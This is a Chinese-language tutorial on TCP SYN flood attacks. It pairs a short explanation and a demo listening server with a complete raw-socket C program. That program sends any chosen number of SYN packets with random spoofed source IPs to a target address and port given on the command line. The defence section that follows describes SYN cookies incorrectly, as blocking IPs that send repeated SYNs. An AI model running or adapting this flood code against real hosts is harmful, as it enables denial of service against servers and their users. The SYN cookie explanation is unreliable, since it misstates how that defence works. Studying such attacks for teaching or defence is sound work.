1、syn攻击原理
在TCP连接的三次握手中第二次握手时,服务器端发送SYN+ACK报文之后,若在规定的超时间之内未收到客户端响应的ACK报文,则服务器端启用重传机制,向客户端重传SYN+ACK报文,直到收到客户端的响应报文或达到服务器端设置的重传次数为止。syn攻击就是利用这种机制,恶意攻击者向被攻击的服务器端在短时间内发送大量仅含有SYN标志的TCP半连接请求报文。一方面,大量的请求报文会使服务器端半连接队列迅速溢出,无法响应或延迟响应正常合法的连接请求,并耗费大量系统资源(如带宽、CPU 及主存储器等);另一方面,因发送的数据包仅含有SYN标记,服务器端永远收不到客户端的响应报文,这将导致服务器端将不断重传SYN+ACK 报文,将耗费大量系统资源及占用大量的网络带宽。
2、syn攻击实现
服务端监听代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
unsigned short nPort = 12345;
int nSockfd = -1;
int nRet = 0;
do
{
nSockfd = socket(AF_INET, SOCK_STREAM, 0);
if(nSockfd < 0)
{
perror("socket");
break;
}
struct sockaddr_in my_addr;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(nPort);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
nRet = bind(nSockfd, (struct sockaddr*)&my_addr, sizeof(my_addr));
if( nRet != 0)
{
perror("bind");
break;
}
nRet = listen(nSockfd, 5);
if(nRet != 0)
{
perror("listen");
break;
}
printf("start accept on nPort[%d]...\n",nPort);
while(1)
{
struct sockaddr_in client_addr;
char szClientIp[INET_ADDRSTRLEN] = {0};
socklen_t cliaddr_len = sizeof(client_addr);
int connfd;
connfd = accept(nSockfd, (struct sockaddr*)&client_addr, &cliaddr_len);
if(connfd < 0)
{
perror("accept");
continue;
}
inet_ntop(AF_INET, &client_addr.sin_addr, szClientIp, INET_ADDRSTRLEN);
printf("client ip=%s,port=%d\n", szClientIp,ntohs(client_addr.sin_port));
char recv_buf[512] = {0};
while( recv(connfd, recv_buf, sizeof(recv_buf), 0) > 0 )
{
printf("recv data:%s\n",recv_buf);
break;
}
close(connfd);
}
}while(0);
if(-1 != nSockfd)
{
close(nSockfd);
nSockfd = -1;
}
return 0;
}
客户端攻击代码
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
#include<errno.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
unsigned short checksum(unsigned short* data,unsigned short nLength)
{
int nLeft = nLength;
int nSum = 0;
unsigned short* w = data;
unsigned short nValue = 0;
unsigned char answer = 0;
while(nLeft > 1)
{
nSum += *w++;
nLeft -= 2;
}
if(nLeft == 1)
{
answer = *(unsigned char*)w;
nSum += answer;
}
nSum = (nSum>>16) + (nSum & 0xffff);
nSum += (nSum>>16);
nValue = ~nSum;
return (nValue);
}
void send_synflood(int nSockfd,struct sockaddr_in* addr,int nNum)
{
unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)] = {0};
struct ip *ip = NULL;
struct tcphdr *tcp = NULL;
int i = 0;
int nRet = 0;
char szClientIp[INET_ADDRSTRLEN] = {0};
int len = sizeof(buffer);
memset( buffer, 0x0, sizeof(buffer));
ip = (struct ip *)buffer;
tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
tcp->dest = addr->sin_port;
tcp->seq = (int)random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(len);
ip->ip_id = (unsigned short)random();
ip->ip_off = 0;
ip->ip_p = IPPROTO_TCP;
ip->ip_dst = addr->sin_addr;
while(++i <= nNum)
{
ip->ip_ttl = 0;
ip->ip_sum = htons(sizeof(struct tcphdr));
ip->ip_src.s_addr = random();
tcp->check = 0;
tcp->source = htons((unsigned short)random());
tcp->check = checksum((u_int16_t *)buffer + 4, sizeof(buffer) - 8);
ip->ip_ttl = MAXTTL;
nRet = sendto(nSockfd, buffer, len, 0, (struct sockaddr *)(addr), sizeof(struct sockaddr_in));
if(nRet != len)
{
printf("sendto[%s]:[%d] error[%d]",inet_ntoa(addr->sin_addr),ntohs(addr->sin_port),errno);
}
else
{
memset(szClientIp,0,sizeof(szClientIp));
inet_ntop(AF_INET, &(addr->sin_addr),szClientIp, INET_ADDRSTRLEN);
printf("sendto[%s]:[%d] successful.\n",szClientIp,ntohs(addr->sin_port));
}
}
}
int main(int argc,char *argv[])
{
int nOn = 1;
int nSockfd = -1;
struct sockaddr_in addr = {0};
char szClientIp[INET_ADDRSTRLEN] = {0};
do
{
if(argc != 4)
{
printf("argc error.\n");
break;
}
bzero(&addr,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_port=htons(atoi(argv[2]));
inet_pton(AF_INET, argv[1], &addr.sin_addr);
nSockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(nSockfd<0)
{
printf("socket error %d.\n",errno);
break;
}
setuid(getpid());
setsockopt(nSockfd,IPPROTO_IP,IP_HDRINCL,&nOn,sizeof(nOn));
send_synflood(nSockfd,&addr,atoi(argv[3]));
}while(0);
if(-1 != nSockfd)
{
close(nSockfd);
nSockfd = -1;
}
return 0;
}
攻击之后,服务端的网络链接出现了多个syn_recv状态的链接,如下图:
抓包截图如下:
在查看服务器TCP连接中,可以通过下面这个命令来统计当前连接数:
3、sys攻击防御
(1)缩短SYN Timeout时间
由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,如果我们将服务器半连接数降低到合理的一个值,就可以成倍地降低服务器的负荷。半连接数的计算公式如下:SYN半连接数 = SYN攻击的频度 × SYN Timeout 由于SYN攻击的频度这个量并非我们能够控制的,所以我们可以通过减小SYN Timeout来降低半连接数。当SYN Timeout时间被减短,系统的SYN-ACK重试次数将大大减少,系统也会自动对缓冲区中的报文进行延时,避免对TCP/IP堆栈造成过大的冲击,力图将攻击危害减到最低。但是,我们还需要注意不要将SYN Timeout的值设置得过低,因为会影响到客户端正常访问,同时这种方法也只能降低syn攻击的影响,如果攻击者持续不断的发送syn,那么即使缩短syn timeout时间,服务器仍然会疲于接收syn攻击而没法正常提供服务。
(2)设置SYN Cookie
给每一个请求分配一个cookie,如果短时间内连续收到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址发来的包一概丢弃,但是这依赖对方使用固定真是的IP地址,如果对方更改源地址则此方法没有效果。
其实对于syn flood攻击目前尚没有很好的检测和防御的方法,只能使用上诉方法或者防火墙设置降低其影响。